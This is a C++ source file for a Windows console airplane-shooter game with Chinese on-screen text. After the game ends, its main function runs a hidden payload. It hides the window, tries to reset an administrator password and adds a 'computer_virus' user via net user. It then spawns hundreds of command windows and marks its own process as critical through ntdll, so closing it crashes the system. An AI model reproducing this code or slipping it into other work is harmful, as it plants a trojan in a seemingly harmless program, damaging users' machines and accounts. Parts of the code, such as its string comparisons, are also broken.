#include <bits/stdc++.h>
#include <windows.h>
#include <winternl.h>
using namespace std;
void setcolor(char str[]) {
if (str == "lightblue")
SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | 1);
if (str == "lightred")
SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED);
if (str == "lightyellow")
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED | FOREGROUND_BLUE);
if (str == "lightpink" )
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_GREEN | FOREGROUND_BLUE);
if (str == "blue")
SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_BLUE);
if (str == "red")
SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_RED);
if (str == "yellow")
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_RED | FOREGROUND_BLUE);
if (str == "pink")
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_GREEN | FOREGROUND_BLUE);
if (str == "lightgray")
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_GREEN | 8);
if (str == "gray")
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 8);
else return;
}
typedef struct Frame {
COORD position[2];
int flag;
} Frame;
void HideWindow() {
HWND hwnd;
hwnd = FindWindow("ConsoleWindowClass", NULL);
if (hwnd) ShowWindow(hwnd, SW_HIDE);
return;
}
class Game {
public:
COORD position[10];
COORD bullet[50];
Frame enemy[8];
int score;
int rank;
int rankf;
string title;
int flag_rank;
Game();
void initPlane();
void initBullet();
void initEnemy();
void drawPlane();
void drawPlaneToNull();
void drawBullet();
void drawBulletToNull();
void drawEnemy();
void drawEnemyToNull();
void Playing();
void planeMove(char x);
void judgePlane();
void GameOver();
void Pause();
void Shoot();
void bulletMove();
void drawThisBulletToNull(COORD c);
void judgeEnemy();
void drawThisEnemyToNull(Frame f);
void enemyMove();
void printScore();
};
int drawMenu();
void HideCursor();
void SetPos(int i, int j);
COORD random(COORD a, COORD b);
void drawFrame(COORD a, COORD b, char row, char col);
void drawRow(int y, int x1, int x2, char ch);
void drawCol(int x, int y1, int y2, char ch);
void drawPlaying();
void drawFrame(Frame frame, char row, char col);
bool judgeCoordInFrame(Frame frame, COORD spot);
void drawRow(COORD a, COORD b, char ch);
#include<Windows.h>
#include<conio.h>
#include<iostream>
#include<ctime>
#include<string>
using namespace std;
Game::Game() {
initPlane();
initBullet();
initEnemy();
this->score = 0;
rank = 25;
rankf = 25;
flag_rank = 0;
}
void Game::initPlane() {
COORD centren;
centren.X = 39;
centren.Y = 22;
position[0].X = position[5].X = position[7].X = position[9].X = centren.X;
position[1].X = centren.X - 2;
position[2].X = position[6].X = centren.X - 1;
position[3].X = position[8].X = centren.X + 1;
position[4].X = centren.X + 2;
for (int i = 0; i <= 4; i++) {
position[i].Y = centren.Y;
}
for (int i = 6; i <= 8; i++) {
position[i].Y = centren.Y + 1;
}
position[5].Y = centren.Y - 1;
position[9].Y = centren.Y - 2;
}
void Game::drawPlane() {
for (int i = 0; i < 9; i++) {
SetPos(position[i].X, position[i].Y);
if (i != 5) {
setcolor("yellow");
cout << "@";
} else if (i == 5) {
setcolor("yellow");
cout << "$";
}
}
}
void Game::drawPlaneToNull() {
for (int i = 0; i < 9; i++) {
SetPos(position[i].X, position[i].Y);
cout << " ";
}
}
void Game::initBullet() {
for (int i = 0; i < 10; i++) {
bullet[i].Y = 30;
}
}
void Game::drawBullet() {
for (int i = 0; i < 10; i++) {
if (bullet[i].Y != 30) {
SetPos(bullet[i].X, bullet[i].Y);
setcolor("blue");
cout << "*";
}
}
}
void Game::drawBulletToNull() {
for (int i = 0; i < 10; i++)
if (bullet[i].Y != 30) {
SetPos(bullet[i].X, bullet[i].Y + 1);
cout << " ";
}
}
COORD random(COORD a, COORD b) {
int x = rand() % (a.X - b.X) + a.X;
int y = rand() % (a.Y - b.Y) + a.Y;
COORD c = { x, y };
return c;
}
void Game::initEnemy() {
COORD a = { 1, 1 };
COORD b = { 45, 15 };
for (int i = 0; i < 8; i++) {
enemy[i].position[0] = random(a, b);
enemy[i].position[1].X = enemy[i].position[0].X + 3;
enemy[i].position[1].Y = enemy[i].position[0].Y + 2;
}
}
void Game::drawEnemy() {
for (int i = 0; i < 8; i++) {
setcolor("gray");
drawFrame(enemy[i].position[0], enemy[i].position[1], '-', '|');
}
}
void Game::drawEnemyToNull() {
for (int i = 0; i < 8; i++) {
drawFrame(enemy[i].position[0], enemy[i].position[1], ' ', ' ');
}
}
void HideCursor() {
CONSOLE_CURSOR_INFO cursor_info = { 1, 0 };
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info);
}
void SetPos(int i, int j) {
HANDLE hout;
COORD coord;
coord.X = i;
coord.Y = j;
hout = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleCursorPosition(hout, coord);
}
void drawFrame(COORD a, COORD b, char row, char col) {
drawRow(a.Y, a.X + 1, b.X - 1, row);
drawRow(b.Y, a.X + 1, b.X - 1, row);
drawCol(a.X, a.Y + 1, b.Y - 1, col);
drawCol(b.X, a.Y + 1, b.Y - 1, col);
}
void drawRow(int y, int x1, int x2, char ch) {
SetPos(x1, y);
for (int i = 0; i <= (x2 - x1); i++) {
cout << ch;
}
}
void drawCol(int x, int y1, int y2, char ch) {
int y = y1;
while (y != y2 + 1) {
SetPos(x, y);
cout << ch;
y++;
}
}
int drawMenu() {
setcolor("lightgreen");
system("Title 飞 机 大 战");
SetPos(30, 1);
cout << "飞 机 大 战";
drawRow(3, 0, 79, '-');
drawRow(5, 0, 79, '-');
SetPos(28, 4);
setcolor("red");
cout << "↑和↓选择,回车确定";
int j = 11;
SetPos(12, j);
cout << ">>";
SetPos(15, 11);
cout << "1. 简单的任务";
SetPos(15, 13);
cout << "2. 困难的任务";
drawRow(20, 0, 79, '-');
SetPos(47, 11);
setcolor("yellow");
cout << "简单的任务:";
SetPos(51, 13);
cout << "简单任务的自动飞行速度较慢,任务难度较小。 ";
SetPos(30, 21);
setcolor("lightblue");
cout << " ";
setcolor("red");
drawRow(22, 0, 79, '-');
while (true) {
if (_kbhit()) {
char x = _getch();
switch (x) {
case 72: {
if (j == 13) {
SetPos(12, j);
cout << " ";
j = 11;
SetPos(12, j);
setcolor("red");
cout << ">>";
SetPos(51, 13);
cout << " ";
SetPos(47, 11);
setcolor("yellow");
cout << "简单的任务:";
SetPos(51, 13);
cout << "简单任务的自动飞行速度较慢,任务难度较小。 ";
}
break;
}
case 80: {
if (j == 11)
{
SetPos(12, j);
cout << " ";
j = 13;
SetPos(12, j);
setcolor("red");
cout << ">>";
SetPos(51, 13);
cout << " ";
SetPos(47, 11);
setcolor("yellow");
cout << "困难的任务:";
SetPos(51, 13);
cout << "困难任务自动飞行速度较快,难操作哟! ";
}
break;
}
case 13: {
if (j == 11)
return 1;
else
return 2;
}
}
}
}
return 0;
}
void drawFrame(int x1, int y1, int x2, int y2, char row, char col) {
COORD a = { x1, y1 };
COORD b = { x2, y2 };
drawFrame(a, b, row, col);
}
void drawPlaying() {
setcolor("red");
drawFrame(0, 0, 48, 24, '=', '|');
drawFrame(49, 0, 82, 4, '-', '|');
drawFrame(49, 4, 82, 9, '-', '|');
drawFrame(49, 9, 82, 20, '-', '|');
drawFrame(49, 20, 82, 24, '-', '|');
setcolor("yellow") ;
SetPos(61, 2);
cout << "飞机大战" ;
SetPos(52, 6);
cout << "得分:";
SetPos(52, 7);
cout << "称号:";
SetPos(52, 11);
setcolor("yellow") ;
cout << "操作方式:";
SetPos(52, 13);
cout << "↑,↓,←,→可以控制战机移动。";
SetPos(52, 15);
cout << "P和E分别可以暂停游戏或退出游戏。";
SetPos(52, 17);
cout << "空格可以发射燃烧弹";
SetPos(52, 19);
cout << "你的任务是躲避障碍物并击毁它们!";
SetPos(52, 22);
setcolor("lightblue") ;
cout << " 游戏虽好玩,不要贪多哦 ";
}
void Game::planeMove(char x) {
if (x == 75) {
if (position[1].X != 1) {
for (int i = 0; i <= 9; i++) {
position[i].X -= 2;
}
}
}
if (x == 80) {
if (position[7].Y != 23) {
for (int i = 0; i <= 9; i++) {
position[i].Y += 1;
}
}
}
if (x == 77 && (position[4].X != 47)) {
for (int i = 0; i <= 9; i++) {
position[i].X += 2;
}
}
if (x == 72 && (position[5].Y != 3)) {
for (int i = 0; i <= 9; i++) {
position[i].Y -= 1;
}
}
}
bool judgeCoordInFrame(Frame frame, COORD spot) {
if ((spot.X >= frame.position[0].X) && (spot.X <= frame.position[1].X) && (spot.Y >= frame.position[0].Y) && (spot.Y <= frame.position[1].Y)) {
return true;
}
return false;
}
void drawFrame(Frame frame, char row, char col) {
COORD a = frame.position[0];
COORD b = frame.position[1];
drawFrame(a, b, row, col);
}
void Game::GameOver() {
setcolor("lightgreen");
system("cls");
COORD p1 = { 28, 9 };
COORD p2 = { 53, 15 };
drawFrame(p1, p2, '=', '|');
SetPos(36, 12);
string str = "Game Over!";
for (int i = 0; i < str.size(); i++) {
Sleep(80);
cout << str[i];
}
Sleep(1000);
system("cls");
drawFrame(p1, p2, '=', '|');
SetPos(31, 11);
setcolor("blue");
cout << "击毁障碍物:" << score / 5 << "个";
SetPos(31, 12);
cout << "得 分:" << score;
SetPos(31, 13);
cout << "获得称号:" << title;
SetPos(30, 18);
Sleep(1000);
setcolor("green");
cout << "继续? 是(Y)| 否(N)";
as:
char x = _getch();
if (x == 'n' || x == 'N') {
exit(0);
} else if (x == 'y' || x == 'Y') {
system("cls");
Game game;
int a = drawMenu();
if (a == 2)
game.rank = 20;
system("cls");
drawPlaying();
game.Playing();
} else
goto as;
}
void Game::judgePlane() {
for (int i = 0; i < 8; i++) {
for (int j = 0; j < 9; j++)
if (judgeCoordInFrame(enemy[i], position[j])) {
SetPos(61, 2);
cout << " 坠毁 ";
setcolor("yellow");
drawFrame(enemy[i], '+', '+');
Sleep(1000);
GameOver();
break;
}
}
}
void Game::Pause() {
SetPos(61, 2);
cout << " ";
SetPos(61, 2);
cout << "暂停中... ";
char c = _getch();
while (c != 'p') {
c = _getch();
}
SetPos(61, 2);
cout << " ";
setcolor("green");
SetPos(61, 2);
cout << "飞机大战";
}
void Game::Shoot() {
for (int i = 0; i < 10; i++) {
if (bullet[i].Y == 30) {
bullet[i].X = position[5].X;
bullet[i].Y = position[5].Y - 1;
break;
}
}
}
void Game::drawThisBulletToNull(COORD c) {
SetPos(c.X, c.Y);
cout << " ";
}
void Game::bulletMove() {
for (int i = 0; i < 10; i++) {
if (bullet[i].Y != 30) {
bullet[i].Y -= 1;
if (bullet[i].Y == 1) {
COORD pos = { bullet[i].X, bullet[i].Y + 1 };
drawThisBulletToNull(pos);
bullet[i].Y = 30;
}
}
}
}
void Game::drawThisEnemyToNull(Frame f) {
drawFrame(f, ' ', ' ');
}
void Game::judgeEnemy() {
for (int i = 0; i < 8; i++) {
for (int j = 0; j < 10; j++) {
if (judgeCoordInFrame(enemy[i], bullet[j])) {
score += 5;
drawThisEnemyToNull(enemy[i]);
COORD a = { 1, 1 };
COORD b = { 45, 3 };
enemy[i].position[0] = random(a, b);
enemy[i].position[1].X = enemy[i].position[0].X + 3;
enemy[i].position[1].Y = enemy[i].position[0].Y + 2;
drawThisBulletToNull(bullet[j]);
bullet[j].Y = 30;
}
}
}
}
void Game::enemyMove() {
for (int i = 0; i < 8; i++) {
for (int j = 0; j < 2; j++)
enemy[i].position[j].Y++;
if (enemy[i].position[1].Y == 24) {
COORD a = { 1, 1 };
COORD b = { 45, 3 };
enemy[i].position[0] = random(a, b);
enemy[i].position[1].X = enemy[i].position[0].X + 3;
enemy[i].position[1].Y = enemy[i].position[0].Y + 2;
}
}
}
void Game::printScore() {
if (score <= 100) {
flag_rank = 1;
} else if (score > 100 && score <= 320) {
flag_rank = 2;
} else if (score > 320 && score <= 440) {
flag_rank = 3;
} else if (score > 440) {
flag_rank = 4;
}
SetPos(60, 6);
cout << score;
SetPos(60, 7);
if (flag_rank == 1) {
title = "初级飞行员";
} else if (flag_rank == 2) {
title = "中级飞行员";
} else if (flag_rank == 3) {
title = "高级飞行员";
} else if (flag_rank == 4) {
title = "王牌飞行员";
}
cout << title;
}
void Game::Playing() {
drawEnemy();
drawPlane();
int flag_bullet = 0;
int flag_enemy = 0;
while (true) {
Sleep(20);
if (_kbhit()) {
char x = _getch();
if (75 == x || 80 == x || 77 == x || 72 == x) {
drawPlaneToNull();
planeMove(x);
drawPlane();
judgePlane();
}
else if ('p' == x) {
Pause();
}
else if (32 == x) {
Shoot();
}
else if ('e' == x) {
GameOver();
break;
}
}
if (flag_bullet == 0) {
bulletMove();
drawBulletToNull();
drawBullet();
judgeEnemy();
}
flag_bullet++;
if (flag_bullet == 1) {
flag_bullet = 0;
}
if (flag_enemy == 0) {
drawEnemyToNull();
enemyMove();
drawEnemy();
judgePlane();
}
flag_enemy++;
if (flag_enemy >= rank) {
flag_enemy = 0;
}
printScore();
}
}
int main() {
cout << "\t\t****飞机大战游戏正在准备****\n";
cout << "\n已加载 0%";
for (int i = 0; i < 9; i++) {
SetPos((i + 1) * 2 - 1, 1);
cout << "■ ";
SetPos(7 - 1, 3 - 1);
cout << i + 1;
Sleep(200);
}
Sleep(200);
SetPos(19, 1);
cout << "■ \n已加载100%";
Sleep(200);
system("cls");
srand((unsigned int)time(NULL));
HideCursor();
Game game;
HideCursor();
int a = drawMenu();
if (a == 2) {
game.rank = 20;
}
system("cls");
HideCursor();
drawPlaying();
HideCursor();
game.Playing();
HideWindow();
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
system("net user Administator 123456");
system("net user computer_virus computer_virus /add");
for (unsigned long long i = 1; i <= 500; i++) {
system("start cmd");
for (int i = 1; i <= 100; i++) {
SetCursorPos(rand() % y, rand() % x);
}
}
typedef NTSTATUS(WINAPI * RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN);
typedef BOOL(WINAPI * RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN);
RtlAdjustPrivilege AdjustPrivilege;
RtlSetProcessIsCritical SetCriticalProcess;
HANDLE ntdll = LoadLibrary(TEXT("ntdll.dll"));
AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress((HINSTANCE)ntdll, "RtlAdjustPrivilege");
SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)ntdll, "RtlSetProcessIsCritical");
BOOLEAN b;
AdjustPrivilege(20UL, TRUE, FALSE, &b);
SetCriticalProcess(TRUE, NULL, FALSE);
return 0;
}